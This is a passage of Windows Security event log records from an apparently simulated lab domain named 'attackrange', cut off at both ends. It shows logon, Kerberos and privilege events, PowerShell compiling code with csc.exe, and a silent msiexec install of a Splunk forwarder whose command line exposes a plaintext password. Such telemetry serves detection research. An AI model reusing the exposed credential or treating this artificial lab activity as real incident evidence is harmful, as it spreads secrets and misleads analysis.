	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249939
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{802D598D-588E-3608-44AC-644B09F20DB0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249938
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{802D598D-588E-3608-44AC-644B09F20DB0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249937
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x94c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES5252.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC35CD28B9E305416FA4DCD05C3DB0F80.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249935
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\rfbzp3xf.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249973
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3D28

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249972
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF3D28
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64361

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249971
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3D28

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249970
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3CC7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249969
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF3CC7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64360

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249968
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3CC7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249967
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3C61

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249966
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF3C61
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64359

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249965
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3C61

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249964
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3C00

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249963
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF3C00
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64358

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249962
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF3C00

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249961
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x928
	New Process Name:	C:\Windows\System32\msiexec.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\Windows\system32\msiexec.exe /i C:\splunkuf.msi /L*V C:\Users\Administrator\AppData\Local\Temp\xq1f0r4s.muj /qn /norestart WINEVENTLOG_SEC_ENABLE=0 WINEVENTLOG_SYS_ENABLE=0 WINEVENTLOG_APP_ENABLE=0 SPLUNKPASSWORD=Pl3ase-k1Ll-me:p1 AGREETOLICENSE=YES /quiet

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249960
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e4
	New Process Name:	C:\Windows\System32\msiexec.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\system32\msiexec.exe /V

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249959
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249958
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x35c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249986
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF50D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249985
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF50D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64365

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249984
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF50D7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249983
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF5076

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249982
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

